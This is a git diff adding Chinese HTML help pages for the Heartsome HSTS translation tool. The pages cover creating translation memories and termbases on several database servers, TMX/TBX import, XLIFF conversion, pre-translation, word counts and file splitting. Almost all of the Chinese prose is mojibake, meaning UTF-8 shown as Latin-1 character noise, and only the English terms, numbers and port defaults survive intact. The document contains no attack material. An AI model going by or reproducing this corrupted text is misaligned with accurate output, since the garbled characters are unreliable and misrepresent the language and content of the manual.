    为了更好地利用 CAT + 的辅助翻译特性,建议æ¯ä¸ªç”¨æˆ·åœ¨å®Œæˆç¿»è¯‘项目的过程中使用记忆库。如果在创建项目时没有创建或添加记忆库,在创建完æˆåŽè¿˜å¯ä»¥é€šè¿‡æ–‡ä»¶èœå•æˆ–å³é”®èœå• + > 新建 > + 记忆库æ¥æ‰“开新建记忆库å‘导。

    + +
    +

    +记忆库基本信æ¯

    + + +
    +

    图 39. 新建记忆库:记忆库信æ¯

    +
    + + +
    +
    新建记忆库:记忆库信æ¯
    +
    +
    +
    +
    + +

    新建记忆库å‘导的第一步,需è¦é€‰æ‹©åˆ›å»ºçš„记忆库类型,选择ä¸åŒçš„æ•°æ®åº“类型,需è¦è¾“入的基本信æ¯ä¹Ÿæœ‰æ‰€ä¸åŒï¼Œå…·ä½“分别如下:

    + +
    +
    +Internal DB
    + + +
      +
    • +

      路径

      + +

      ä¿å­˜è®°å¿†åº“的目录。

      +
    • +
    • +

      å称

      + +

      记忆库的å称。

      +
    • +
    +
    + +
    +
    +MS SQL Server
    + + +
    +

    æ示

    +

    以下信æ¯å¯èƒ½éœ€è¦è¯·ç›¸å…³çš„ IT 管ç†äººå‘˜å助æ供,或å‚考相应数æ®åº“æœåŠ¡å™¨è½¯ä»¶çš„用户文档。

    +
    + +
      +
    • +

      地å€

      + +

      MS SQL Server æ•°æ®åº“æœåŠ¡å™¨çš„主机åã€åŸŸå或 IP 地å€ã€‚

      +
    • +
    • +

      端å£

      + +

      MS SQL Server æ•°æ®åº“æœåŠ¡å™¨çš„访问端å£ï¼Œé»˜è®¤æƒ…况下为 1433。

      +
    • +
    • +

      用户å

      + +

      访问 MS SQL Server æ•°æ®åº“æœåŠ¡å™¨çš„用户å,需è¦æœ‰åˆ›å»ºæ•°æ®åº“çš„æƒé™ã€‚

      +
    • +
    • +

      密ç 

      + +

      与用户å对应的密ç ã€‚

      +
    • +
    • +

      å称

      + +

      记忆库的å称。

      +
    • +
    +
    + +
    +
    +MySQL
    + + +
      +
    • +

      地å€

      + +

      MySQL æ•°æ®åº“æœåŠ¡å™¨çš„主机åã€åŸŸå或 IP 地å€ã€‚

      +
    • +
    • +

      端å£

      + +

      MySQL æ•°æ®åº“æœåŠ¡å™¨çš„访问端å£ï¼Œé»˜è®¤æƒ…况下为 3306。

      +
    • +
    • +

      用户å

      + +

      访问 MySQL æ•°æ®åº“æœåŠ¡å™¨çš„用户å,需è¦æœ‰åˆ›å»ºæ•°æ®åº“çš„æƒé™ã€‚

      +
    • +
    • +

      密ç 

      + +

      与用户å对应的密ç ã€‚

      +
    • +
    • +

      å称

      + +

      记忆库的å称。

      +
    • +
    +
    + +
    +
    +Oracle
    + + +
      +
    • +

      地å€

      + +

      Oracle æ•°æ®åº“æœåŠ¡å™¨çš„主机åã€åŸŸå或 IP 地å€ã€‚

      +
    • +
    • +

      端å£

      + +

      Oracle æ•°æ®åº“æœåŠ¡å™¨çš„访问端å£ï¼Œé»˜è®¤æƒ…况下为 1521。

      +
    • +
    • +

      实例

      + +

      Oracle æ•°æ®åº“æœåŠ¡å™¨çš„实例。

      +
    • +
    • +

      用户å

      + +

      访问 Oracle æ•°æ®åº“æœåŠ¡å™¨çš„用户å,需è¦æœ‰åˆ›å»ºæ•°æ®åº“çš„æƒé™ã€‚

      +
    • +
    • +

      密ç 

      + +

      与用户å对应的密ç ã€‚

      +
    • +
    • +

      å称

      + +

      记忆库的å称。

      +
    • +
    +
    + +
    +
    +PostgreSQL
    + + +
      +
    • +

      地å€

      + +

      PostgreSQL æ•°æ®åº“æœåŠ¡å™¨çš„主机åã€åŸŸå或 IP 地å€ã€‚

      +
    • +
    • +

      端å£

      + +

      PostgreSQL æ•°æ®åº“æœåŠ¡å™¨çš„访问端å£ï¼Œé»˜è®¤æƒ…况下为 5432。

      +
    • +
    • +

      用户å

      + +

      访问 PostgreSQL æ•°æ®åº“æœåŠ¡å™¨çš„用户å,需è¦æœ‰åˆ›å»ºæ•°æ®åº“çš„æƒé™ã€‚

      +
    • +
    • +

      密ç 

      + +

      与用户å对应的密ç ã€‚

      +
    • +
    • +

      å称

      + +

      记忆库的å称。

      +
    • +
    + +
    +

    注æ„

    +

    对于上述所有类型的数æ®åº“,在åŒä¸€å°æ•°æ®åº“æœåŠ¡å™¨ï¼ˆè·¯å¾„ã€æœåŠ¡å™¨ï¼‹ç«¯å£ã€æœåŠ¡å™¨ï¼‹ç«¯å£ï¼‹å®žä¾‹ï¼‰ä¸Šï¼Œåˆ†åˆ«éƒ½å…许创建多个记忆库/术语库。

    +
    +
    +
    + +
    +

    +导入 TMX 文件

    + + +
    +

    图 40. 新建记忆库:导入 TMX 文件

    +
    + + +
    +
    新建记忆库:导入 TMX 文件
    +
    +
    +
    +
    + +

    在新建记忆库å‘导的第二步,å¯ä»¥é€‰æ‹©å°† TMX 文件导入到新创建的记忆库中。

    + +

    点击选项按钮,å¯ä»¥è®¾ç½®é‡å¤é¡¹çš„处ç†ç­–略。

    + +
    +

    图 41. 选项:记忆库 é‡å¤é¡¹å¤„ç†

    +
    + + +
    +
    选项:记忆库 é‡å¤é¡¹å¤„ç†
    +
    +
    +
    +
    + +
    • +

      é‡å¤é¡¹å¤„ç†

      + +
        +
      • +

        新增

        + +

        导入速度最快,适用于库中已有的内容与当å‰å¯¼å…¥çš„ TMX + 内容之间无é‡å¤é¡¹ã€æˆ–需è¦ä¿ç•™æ‰€æœ‰é‡å¤é¡¹çš„情况。

        +
      • +
      • +

        覆盖

        + +

        导入速度较慢,适用于当å‰å¯¼å…¥çš„ TMX 内容比库中的内容更新的情况。

        +
      • +
      • +

        忽略

        + +

        导入速度中等,适用于库中的内容比当å‰å¯¼å…¥çš„ TMX 内容更新的情况。

        +
      • +
      +
    +
    +
    + +
    +

    +新建术语库å‘导

    + + +
    +

    +术语库基本信æ¯

    + + +
    +

    图 42. 新建术语库:基本信æ¯

    +
    + + +
    +
    新建术语库:基本信æ¯
    +
    +
    +
    +
    + +

    和创建记忆库一样,新建术语库å‘导的第一步也是选择术语库类型,具体æ¯ç§æ•°æ®åº“类型需è¦è¾“入的信æ¯ï¼Œè¯·å‚考“新建记忆库å‘导â€ä¸€èŠ‚。

    +
    + +
    +

    +导入 TBX 文件

    + + +
    +

    图 43. 新建术语库:导入 TBX 文件

    +
    + + +
    +
    新建术语库:导入 TBX 文件
    +
    +
    +
    +
    + +

    在新建术语库å‘导的第二步,也和记忆库一样å¯ä»¥é€‰æ‹©å°† TBX 文件导入到新创建的术语库中。

    + +

    点击选项按钮,å¯ä»¥è®¾ç½®é‡å¤æœ¯è¯­çš„处ç†ç­–略。

    + +
    +

    图 44. 选项:术语库 é‡å¤é¡¹å¤„ç†

    +
    + + +
    +
    选项:术语库 é‡å¤é¡¹å¤„ç†
    +
    +
    +
    +
    + +
    • +

      é‡å¤é¡¹å¤„ç†

      + +
        +
      • +

        新增

        + +

        导入速度最快,适用于库中已有的内容与当å‰å¯¼å…¥çš„ TBX + 内容之间无é‡å¤é¡¹ã€æˆ–需è¦ä¿ç•™æ‰€æœ‰é‡å¤é¡¹çš„情况。

        +
      • +
      • +

        覆盖

        + +

        导入速度较慢,适用于当å‰å¯¼å…¥çš„ TBX 内容比库中的内容更新的情况。

        +
      • +
      • +

        åˆå¹¶

        + +

        导入速度较慢,适用于当å‰å¯¼å…¥çš„ TBX 内容与库中的内容需è¦åŒæ—¶ä¿ç•™çš„情况。

        +
      • +
      • +

        忽略

        + +

        导入速度中等,适用于库中的内容比当å‰å¯¼å…¥çš„ TBX 内容更新的情况。

        +
      • +
      +
    +
    +
    + +
    +

    +添加æºæ–‡ä»¶

    + + +

    若在创建项目时跳过了添加æºæ–‡ä»¶çš„步骤,或未添加完全,å¯ä»¥åœ¨åˆ›å»ºé¡¹ç›®åŽç›´æŽ¥å°†æºæ–‡ä»¶ï¼ˆä¸€ä¸ªæˆ–多个文件或文件夹)从æ“作系统的文件管ç†å™¨ä¸­ç›´æŽ¥æ‹–放到项目视图中该项目的“Sourceâ€æ–‡ä»¶å¤¹ä¸­ã€‚若拖放的是文件夹,则其中的所有å­æ–‡ä»¶å¤¹ç»“构也将被ä¿ç•™ã€‚拖放文件夹的æ“作过程请è§ä¸‹å›¾ï¼š

    + +
    +

    图 45. 拖放文件夹

    +
    + + +
    +
    拖放文件夹
    +
    +
    +
    +
    + +

    除了拖放,在æ“作系统的文件管ç†å™¨ä¸­ç›´æŽ¥å¤åˆ¶ä¸€ä¸ªæˆ–多个文件或文件夹,然åŽåœ¨é¡¹ç›®è§†å›¾ä¸­é€‰æ‹©è¯¥é¡¹ç›®çš„“Sourceâ€æ–‡ä»¶å¤¹ï¼Œä½¿ç”¨å¿«æ·é”® + Ctrl/Command+V + 或编辑èœå• > + 粘贴,也å¯ä»¥å®žçŽ°æ·»åŠ æºæ–‡ä»¶çš„æ“作。

    + +

    è‹¥è¦åˆ é™¤æºæ–‡ä»¶ï¼Œåˆ™å¯ä»¥åœ¨é€‰ä¸­ä¸€ä¸ªæˆ–多个文件/文件夹åŽï¼Œç‚¹å‡»ç¼–辑èœå• > + 删除,或直接按键盘上的 Delete + é”®æ¥åˆ é™¤ã€‚

    +
    + +
    +

    +转æ¢æºæ–‡ä»¶ä¸º XLIFF

    + + +

    由于 HSTS åªèƒ½ç›´æŽ¥ç¼–辑 XLIFF æ–‡ä»¶ï¼Œæ‰€ä»¥æ‰€æœ‰éž XLIFF æ ¼å¼çš„æºæ–‡ä»¶éƒ½éœ€è¦è½¬æ¢ä¸º XLIFF 之åŽæ‰èƒ½ä½¿ç”¨ + HSTS æ¥ç¿»è¯‘。如果在创建项目的最åŽä¸€æ­¥ï¼Œæ·»åŠ äº†æºæ–‡ä»¶å¹¶é€‰æ‹©äº†è½¬æ¢æºæ–‡ä»¶ä¸º + XLIFF,则自动进入此步骤;å¦åˆ™ï¼Œè¯·å±•å¼€é¡¹ç›®ç›®å½•ï¼Œé€‰æ‹©â€œSourceâ€ç›®å½•æˆ–其中的一个或多个文件/文件夹,然åŽåœ¨å³é”®èœå•æˆ–文件èœå•ä¸­é€‰æ‹©è½¬æ¢ä¸º + XLIFF 文件。

    + +
    +

    图 46. 转æ¢æºæ–‡ä»¶ä¸º XLIFF

    +
    + + +
    +
    转æ¢æºæ–‡ä»¶ä¸º XLIFF
    +
    +
    +
    +
    + +

    在转æ¢æºæ–‡ä»¶ä¸º XLIFF + 对è¯æ¡†ä¸­ï¼Œæœ‰å¦‚下å‚æ•°å¯ä¾›è®¾ç½®ï¼š

    +
    +

    图 47. 转æ¢æºæ–‡ä»¶ä¸º XLIFF 对è¯æ¡†

    +
    + + +
    +
    转æ¢æºæ–‡ä»¶ä¸º XLIFF 对è¯æ¡†
    +
    +
    +
    +


    + +
      +
    • +

      文件属性

      + +
        +
      • +

        æ ¼å¼

        + +

        æºæ–‡ä»¶çš„æ ¼å¼ç±»åž‹ã€‚

        +
      • +
      • +

        ç¼–ç 

        + +

        æºæ–‡ä»¶çš„内容编ç ã€‚

        +
      • +
      +
    • +
    • +

      转æ¢é€‰é¡¹

      + +
        +
      • +

        覆盖åŒå文件

        + +

        默认情况下,HSTS ä¸ä¼šè¦†ç›–已存在的文件。若待生æˆçš„ XLIFF + 文件已ç»å­˜åœ¨ï¼Œåˆ™åªæœ‰é€‰æ‹©è¦†ç›–æ‰å¯ä»¥ç»§ç»­è½¬æ¢ã€‚请在选择此项å‰ç¡®è®¤å°†è¢«è¦†ç›–的文件中ä¸åŒ…å«æœ‰ç”¨çš„内容,或已将其备份。

        +
      • +
      • +

        预翻译

        + +

        对转æ¢åŽç”Ÿæˆçš„ XLIFF 文件进行预翻译,为åŽé¢çš„翻译æ供便利。

        +
      • +
      • +

        目标语言

        + +

        å¯ä»¥ä¸€æ¬¡æ€§å°†æºæ–‡ä»¶è½¬æ¢ä¸ºå¤šä¸ªç›®æ ‡è¯­è¨€çš„ XLIFF 文件,在这里通过 + Ctrl/Shift 加鼠标左键选择。

        +
      • +
      +
    • +
    • +

      分段规则

      + +

      SRX + 分段规则文件定义了如何将一段è¯æ‹†åˆ†ä¸ºå¥å­ï¼Œç”¨æˆ·å¯ä»¥é€‰æ‹©ä¸åŒçš„分段规则以适应æŸäº›ç‰¹å®šå®¢æˆ·ã€è¯­è¨€æˆ–文件的分段è¦æ±‚。对分段规则的定制å¯å‚考“é…置分段规则â€ã€‚

      +
    • +
    +
    + +
    +

    +é”定é‡å¤æ–‡æœ¬æ®µ

    + + +

    在一个项目中,相åŒçš„å¥å­ï¼ˆæ–‡æœ¬æ®µï¼‰å¯èƒ½ä¼šå‡ºçŽ°å¤šæ¬¡ã€‚为使这些é‡å¤æ–‡æœ¬æ®µæœ‰ä¸€è‡´çš„译文ã€åŒæ—¶èŠ‚çœå¤„ç†é‡å¤æ–‡æœ¬æ®µçš„时间,推èçš„åšæ³•æ˜¯ï¼šå…ˆå°†é‡å¤æ–‡æœ¬æ®µé”定,å†åœ¨ç¿»è¯‘完æˆåŽç»Ÿä¸€ç”¨ç¹æ®–翻译功能,为é‡å¤æ–‡æœ¬æ®µåº”用一个译文。

    + +

    HSTS + æ供了方便的自动é”定é‡å¤æ–‡æœ¬æ®µåŠŸèƒ½ï¼Œè¯¥åŠŸèƒ½ä¼šä¿ç•™é‡å¤æ–‡æœ¬æ®µä¸­çš„第一个为未é”定状æ€ï¼Œè€Œåªé”定第二次åŠä¹‹åŽå‡ºçŽ°çš„é‡å¤æ–‡æœ¬æ®µï¼Œæ–¹ä¾¿åœ¨å…¶ç¬¬ä¸€æ¬¡å‡ºçŽ°æ—¶è¿›è¡Œç¿»è¯‘。具体æ“作步骤如下:

    + +
      +
    1. +

      选择项目“XLIFFâ€ç›®å½•ä¸­çš„一个或多个文件或文件夹,从å³é”®èœå•æˆ–翻译èœå•ä¸­é€‰æ‹©é”定é‡å¤æ–‡æœ¬æ®µã€‚

      +
      +

      图 48. é”定é‡å¤æ–‡æœ¬æ®µ

      +
      + + +
      +
      é”定é‡å¤æ–‡æœ¬æ®µ
      +
      +
      +
      +


      +
    2. +
    3. +

      弹出é”定é‡å¤æ–‡æœ¬æ®µå¯¹è¯æ¡†ï¼Œå…¶ä¸­ä¼šåˆ—出刚æ‰é€‰ä¸­çš„所有 + XLIFF 文件,选择è¦é”定的é‡å¤æ–‡æœ¬æ®µç±»åž‹ï¼š

      +
      +

      图 49. é”定é‡å¤æ–‡æœ¬æ®µå¯¹è¯æ¡†

      +
      + + +
      +
      é”定é‡å¤æ–‡æœ¬æ®µå¯¹è¯æ¡†
      +
      +
      +
      +


      + +
        +
      • +

        内部é‡å¤

        + +

        在åŒä¸€ä¸ªæ–‡ä»¶ä¸­åŠé€‰ä¸­çš„文件之间,æºæ–‡ç›¸åŒçš„文本段。

        +
      • +
      • +

        完全匹é…

        + +

        有记忆库 100% 匹é…的文本段。

        +
      • +
      • +

        上下文匹é…

        + +

        有记忆库 101% 匹é…的文本段。

        +
      • +
      +
    4. +
    5. +

      点击确定按钮,开始é”定é‡å¤æ–‡æœ¬æ®µï¼Œå®ŒæˆåŽä¼šæ˜¾ç¤ºç»“果。

      +
      +

      图 50. é”定é‡å¤æ–‡æœ¬æ®µç»“æžœ

      +
      + + +
      +
      é”定é‡å¤æ–‡æœ¬æ®µç»“æžœ
      +
      +
      +
      +


      +
    6. +
    +
    + +
    +

    +预翻译

    + + +

    预翻译å¯ä»¥ä¸€æ¬¡æ€§ä¸ºé€‰ä¸­çš„ XLIFF + 中所有文本段添加匹é…,使基于匹é…的相关功能更加准确地判断,如字数分æžã€ç¼–辑器文本段过滤器中的“é‡å¤æ–‡æœ¬æ®µâ€ã€‚

    + +

    HSTS 除了æ供常è§çš„基于记忆库的预翻译外,还支æŒä½¿ç”¨æœºå™¨ç¿»è¯‘引擎为 XLIFF + 预存翻译。使用步骤如下:

    + +
      +
    1. +

      在使用基于记忆库的预翻译之å‰ï¼Œåº”至少为项目设置一个记忆库,且其内容éžç©ºï¼ˆé€šè¿‡å¯¼å…¥ TMX + 或已翻译文本段入库添加了匹é…)。

      +
      +

      图 51. 打开项目设置

      +
      + + +
      +
      打开项目设置
      +
      +
      +
      +


      + +
      +

      图 52. 项目设置:记忆库

      +
      + + +
      +
      项目设置:记忆库
      +
      +
      +
      +
      +
    2. +
    3. +

      选择项目“XLIFFâ€ç›®å½•ä¸­çš„一个或多个文件或文件夹,从å³é”®èœå•æˆ–翻译èœå•ä¸­é€‰æ‹©é¢„翻译。

      +
      +

      图 53. 预翻译

      +
      + + +
      +
      预翻译
      +
      +
      +
      +


      将弹出预翻译对è¯æ¡†ï¼Œå…¶ä¸­ä¼šåˆ—出刚æ‰é€‰ä¸­çš„所有 + XLIFF 文件。

      + +
      +

      图 54. 预翻译对è¯æ¡†

      +
      + + +
      +
      预翻译对è¯æ¡†
      +
      +
      +
      +
      +
    4. +
    5. +

      点击选项按钮,将打开选项中的预翻译相关的å‚数设置界é¢ï¼š

      + +
      +

      图 55. 选项:预翻译

      +
      + + +
      +
      选项:预翻译
      +
      +
      +
      +
      + +
        +
      • +

        预翻译

        + +
          +
        • +

          附加æ“作,é”定如下文本段:

          + +
            +
          • +

            完全匹é…

            +
          • +
          • +

            上下文匹é…

            +
          • +
          +
        • +
        • +

          对现有译文的处ç†ç­–略:

          + +
            +
          • +

            ä¿ç•™çŽ°æœ‰è¯‘æ–‡

            +
          • +
          • +

            仅匹é…率高于现有译文时覆盖

            +
          • +
          • +

            始终覆盖现有译文

            +
          • +
          +
        • +
        +
      • +
      • +

        Google Translate

        + +
          +
        • +

          密钥

          + +

          需è¦å‘ Google 购买,详情请å‚考问: 1.2。

          +
        • +
        • +

          自动机器翻译

          + +
            +
          • +

            æ—  Google Translate + 预存匹é…时自动执行

            +
          • +
          • +

            始终自动执行

            +
          • +
          • +

            手动执行

            +
          • +
          +
        • +
        • +

          预存 Google Translate 翻译

          +
        • +
        +
      • +
      • +

        Bing Translator

        + +
          +
        • +

          身份认è¯ï¼Œè¯·å‚考问: 1.2获å–如下两项信æ¯ï¼š

          + +
            +
          • +

            客户端 ID

            +
          • +
          • +

            密钥

            +
          • +
          +
        • +
        • +

          自动机器翻译

          + +
            +
          • +

            æ—  Bing Translator + 预存匹é…时自动执行

            +
          • +
          • +

            始终自动执行

            +
          • +
          • +

            手动执行

            +
          • +
          +
        • +
        • +

          预存 Bing Translator 翻译

          +
        • +
        +
      • +
      +
    6. +
    7. +

      点击确定按钮,开始预翻译。视所选择的 XLIFF + 中的文本段多少ã€åŠæ˜¯å¦é¢„存机器翻译,å¯èƒ½éœ€è¦ç­‰å¾…一段时间æ‰èƒ½å®Œæˆã€‚预翻译完æˆåŽï¼Œæ˜¾ç¤ºå¦‚下结果对è¯æ¡†ã€‚

      + +
      +

      图 56. 预翻译结果

      +
      + + +
      +
      预翻译结果
      +
      +
      +
      +
      +
    8. +
    +
    + +
    +

    +字数分æž

    + + +

    对翻译项目进行字数分æžï¼Œèƒ½å¸®åŠ©ç”¨æˆ·äº†è§£ä¸€ä¸ªç¿»è¯‘项目的工作é‡ï¼Œä»¥åŠæ–¹ä¾¿ä¸Žå®¢æˆ·è®¡ä»·æ”¶è´¹ã€æˆ–将翻译工作分å‘给多个译员。HSTS + 还å¯ä»¥æŒ‰ç”¨æˆ·è®¾ç½®çš„匹é…率区间åŠå¯¹åº”的加æƒç³»æ•°æ¥è®¡ç®—翻译项目的加æƒå­—æ•°ã€å¹¶è‡ªåŠ¨å°†ç»“果按å„级文件夹汇总。è¦è¿›è¡Œå­—数分æžï¼Œè¯·æŒ‰å¦‚下步骤æ“作:

    + +
      +
    1. +

      在项目视图中选择项目,然åŽä»Žå³é”®èœå•æˆ–项目èœå•ä¸­æ‰“开项目设置 + > + 记忆库,确认已设置éžç©ºçš„记忆库;若未设置,则应先设置。详情请è§å›¾Â 52 “项目设置:记忆库â€ã€‚

      +
    2. +
    3. +

      选择项目或“XLIFFâ€å­ç›®å½•ä¸­çš„任一个或多个文件夹或 + .hsxliff + 文件,从å³é”®èœå•æˆ–项目èœå•ä¸­é€‰æ‹©å­—数分æžã€‚

      +
      +

      图 57. 字数分æž

      +
      + + +
      +
      字数分æž
      +
      +
      +
      +


      + +
      +

      图 58. 字数分æžå¯¹è¯æ¡†

      +
      + + +
      +
      字数分æžå¯¹è¯æ¡†
      +
      +
      +
      +
      +
    4. +
    5. +

      在字数分æžå¯¹è¯æ¡†ä¸Šï¼Œå¯ä»¥é€‰æ‹©å¦‚下附加æ“作:

      + +
        +
      • +

        é”定上下文匹é…

        +
      • +
      • +

        é”定完全匹é…

        +
      • +
      • +

        é”定é‡å¤æ–‡æœ¬æ®µ

        +
      • +
      +
    6. +
    7. +

      点击选项按钮,还å¯ä»¥è®¾ç½®å¦‚下字数分æžå‚数:

      + +
      +

      图 59. 选项:字数分æž

      +
      + + +
      +
      选项:字数分æž
      +
      +
      +
      +
      + +
        +
      • +

        忽略大å°å†™

        + +

        默认忽略。

        +
      • +
      • +

        忽略标记

        + +

        默认忽略。

        +
      • +
      • +

        最低匹é…率

        + +

        有效值为 1~100%,默认为 70%。

        +
      • +
      • +

        上下文文本段数é‡

        + +

        有效值为 1~100,默认为 1。å³ä¸Šæ–‡è€ƒè™‘å‰ä¸€ä¸ªéžç©ºæ–‡æœ¬æ®µï¼Œä¸‹æ–‡è€ƒè™‘åŽä¸€ä¸ªéžç©ºæ–‡æœ¬æ®µã€‚

        +
      • +
      • +

        分æžæŠ¥å‘Š

        + +

        是å¦åœ¨å­—数分æžæŠ¥å‘Šä¸­åŒ…å«å†…部é‡å¤ä¸Žå†…部模糊匹é…字数:

        + +
          +
        • +

          内部é‡å¤

          +
        • +
        • +

          内部模糊匹é…

          +
        • +
        +
      • +
      • +

        加æƒç³»æ•°

        + +

        匹é…率区间ã€åŠ æƒç³»æ•°ã€‚此设置用于在计算加æƒå­—数时,将指定匹é…率的文本段字数折算为加æƒå­—数,如通常把é‡å¤æ–‡æœ¬æ®µä¸­çš„æ¯ + 1 个字计算为 0.5 个字。ä¸åŒçš„客户ã€ç¿»è¯‘å…¬å¸ï¼Œå¯èƒ½å¯¹æ­¤é¡¹è®¾ç½®ä¼šæœ‰ä¸åŒçš„è¦æ±‚,用户å¯ä»¥è§†è‡ªèº«çš„需求æ¥ä¿®æ”¹ã€‚

        +
        +

        图 60. 选项:加æƒç³»æ•°

        +
        + + +
        +
        选项:加æƒç³»æ•°
        +
        +
        +
        +


        +
      • +
      +
    8. +
    9. +

      设置完æˆåŽï¼Œç‚¹å‡»ç¡®å®šæŒ‰é’®ï¼Œå°†ä¼šåœ¨â€œIntermediate/Reportâ€ç›®å½•ä¸‹ç”Ÿæˆ + HTML æ ¼å¼çš„分æžæŠ¥å‘Šï¼Œå¹¶è‡ªåŠ¨æ‰“开。

      + +
      +

      图 61. 字数分æžç»“æžœ

      +
      + + +
      +
      字数分æžç»“æžœ
      +
      +
      +
      +
      +
    10. +
    +
    + +
    +

    +分割文件

    + + +

    如果å•ä¸ªå¾…翻译文件中的内容较多,为缩短项目周期,å¯ä»¥å°†è¯¥æ–‡ä»¶è½¬æ¢è€Œæˆçš„ XLIFF + 分割为多个å°æ–‡ä»¶ï¼Œåˆ†å‘ç»™ä¸åŒçš„翻译人员åŒæ—¶ç¿»è¯‘。其他 CAT 工具通常是使用直接指定文本段åºå·çš„æ–¹å¼æ¥åˆ†å‰²æ–‡ä»¶ï¼Œè€Œ HSTS + 使用了更加åˆç†ã€äººæ€§åŒ–ã€å¯è§†åŒ–çš„æ“作方å¼ï¼š

    + +
      +
    1. +

      åŒå‡»æ‰“开待分割的 XLIFF 文件,æµè§ˆå…¶ä¸­çš„内容。

      +
    2. +
    3. +

      æ ¹æ®ä¸Šä¸‹æ–‡åˆ¤æ–­éœ€è¦ä»¥å“ªä¸ªæ–‡æœ¬æ®µä½œä¸ºåˆ†å‰² XLIFF 文件的结æŸç‚¹ï¼Œé€‰æ‹©è¯¥æ–‡æœ¬æ®µï¼Œä½¿ç”¨å³é”®èœå•ä¸­çš„ + XLIFF 文件分割点为其加上分割标记。

      + +
      +

      图 62. 分割 XLIFF 文件 添加分割点

      +
      + + +
      +
      分割 XLIFF 文件 添加分割点
      +
      +
      +
      +
      +
    4. +
    5. +

      é‡å¤ä¸Šä¸€æ­¥ï¼Œç›´è‡³æ‰€æœ‰å¾…分割的文本段都已ç»åŠ ä¸Šåˆ†å‰²æ ‡è®°ã€‚

      +
    6. +
    7. +

      在项目视图中选中该 XLIFF + 文件,然åŽç‚¹å‡»å³é”®èœå•æˆ–文件èœå•ä¸­çš„分割 + XLIFF。

      + +
      +

      图 63. 分割 XLIFF 文件

      +
      + + +
      +
      分割 XLIFF 文件
      +
      +
      +
      +
      +
    8. +
    9. +

      在弹出的分割 XLIFF + 文件对è¯æ¡†ä¸­ï¼Œç¡®è®¤åˆ†æ®µä¿¡æ¯å‡†ç¡®æ— è¯¯åŽï¼Œç‚¹å‡»ç¡®å®šæŒ‰é’®å³å¯å®Œæˆ + XLIFF 文件的分割。分割åŽçš„ XLIFF 文件将被ä¿å­˜åˆ°åŽŸ XLIFF 文件所在的目录中ã€åœ¨åŽŸ XLIFF + 文件å上加“_splitâ€åŽç¼€çš„新文件夹里。å¯ä»¥ä»Žè¯¥æ–‡ä»¶å¤¹ä¸­æ‰¾åˆ°å·²åˆ†å‰²å¥½çš„ XLIFF + 分å‘ç»™ä¸åŒçš„翻译人员。

      +
      +

      图 64. 分割 XLIFF 文件结果

      +
      + + +
      +
      分割 XLIFF 文件结果
      +
      +
      +
      +


      +
    10. +
    + +

    分割åŽçš„ XLIFF 文件,在项目完æˆå‰éœ€è¦åˆå¹¶ï¼Œä»¥ä¾¿æœ€ç»ˆè½¬ä¸ºç›®æ ‡æ–‡ä»¶ï¼Œè¯¦æƒ…è§â€œåˆå¹¶æ–‡ä»¶â€ä¸€èŠ‚。

    +
    + +
    +

    +项目设置

    + + +

    如果在新建项目å‘导中,跳过了一些信æ¯æ²¡æœ‰è¾“入或设置,å¯ä»¥åœ¨åˆ›å»ºå®ŒæˆåŽè¡¥å……或修改,æ“作步骤如下:

    + +
      +
    1. +

      在项目视图中选择è¦è®¾ç½®çš„项目,从å³é”®èœå•æˆ–项目èœå•ä¸­æ‰“开项目设置。

      + +
      +

      图 65. 项目设置

      +
      + + +
      +
      项目设置
      +
      +
      +
      +
      +
    2. +
    3. +

      项目设置对è¯æ¡†æ供了新建项目å‘导中出现过的大部分信æ¯ï¼š

      + +
        +
      • +

        项目信æ¯ï¼ˆæ³¨ï¼šä¸‹å›¾ä¸­çš„ Clientã€Subject + 为自定义的项目属性,详情请è§â€œé¡¹ç›®ä¿¡æ¯â€ä¸€èŠ‚)

        +
      • +
      • +

        项目语言

        +
      • +
      • +

        记忆库

        +
      • +
      • +

        术语库

        +
      • +
      +
    4. +
    + +
    +

    图 66. 项目设置:项目信æ¯

    +
    + + +
    +
    项目设置:项目信æ¯
    +
    +
    +
    +
    + +
    +

    图 67. 项目设置:项目语言

    +
    + + +
    +
    项目设置:项目语言
    +
    +
    +
    +
    + +
    +

    图 68. 项目设置:记忆库

    +
    + + +
    +
    项目设置:记忆库
    +
    +
    +
    +
    + +
    +

    图 69. 项目设置:术语库

    +
    + + +
    +
    项目设置:术语库
    +
    +
    +
    +
    + +

    上述信æ¯çš„修改和设置方å¼ä¹Ÿä¸Žåˆ›å»ºé¡¹ç›®å‘导中相åŒï¼Œæ•…ä¸å†é‡å¤ã€‚

    + +

    创建项目å‘导中有,而项目设置中没有æ供的两个功能是:修改项目å称ã€æ·»åŠ /删除æºæ–‡ä»¶ã€‚其中,添加/删除æºæ–‡ä»¶çš„æ–¹å¼å·²ç»åœ¨å‰é¢çš„“添加æºæ–‡ä»¶â€ä¸€èŠ‚中æ述;修改项目å称则å¯ä»¥åœ¨é€‰ä¸­è¦é‡å‘½å的项目åŽï¼Œä½¿ç”¨ç¼–辑èœå•ä¸‹çš„é‡å‘½å功能æ¥å®Œæˆã€‚

    + +
    +

    图 70. 项目é‡å‘½å

    +
    + + +
    +
    项目é‡å‘½å
    +
    +
    +
    +
    +
    +
    + diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/ch05s04.html b/ts/net.heartsome.cat.ts.ui.help/html/zh/ch05s04.html new file mode 100644 index 0000000..4be152e --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/html/zh/ch05s04.html @@ -0,0 +1,1124 @@ + + + +4. 翻译 + + + + + + + +
    +

    +4. 翻译

    + + +

    翻译过程是翻译项目中最为é‡è¦çš„工作环节,CAT + 工具的作用也主è¦ä½“现于此。åšå®Œäº†å‰é¢æ到的准备工作之åŽï¼Œå°±å¯ä»¥æ­£å¼å¼€å§‹è¿›è¡Œç¿»è¯‘了。当然,å‰é¢æ到的都åªæ˜¯å»ºè®®çš„步骤,在实际过程中å¯ä»¥æ ¹æ®è‡ªå·±çš„需è¦æ¥é€‰æ‹©ï¼Œä¹Ÿå¯ä»¥éšæ—¶åœ¨ç¿»è¯‘过程中回去åšé‚£äº›æ“作。

    + +
    +

    +打开文件

    + + +

    HSTS æ供了两ç§æ–¹å¼æ¥æ‰“å¼€ XLIFF 文件(扩展å为 .hsxliff):

    + +
      +
    • +

      å•ç‹¬æ‰“å¼€

      + +

      åŒå‡»è¦æ‰“开的文件,或选择一个或多个文件åŽä½¿ç”¨å³é”®èœå•ä¸­çš„打开文件,å³å¯ä»¥å•ç‹¬æ‰“开的方å¼æ‰“å¼€ + XLIFF 文件,也就是æ¯ä¸ª XLIFF 文件分别用一个 XLIFF 编辑器打开。

      +
    • +
    • +

      åˆå¹¶æ‰“å¼€

      + +

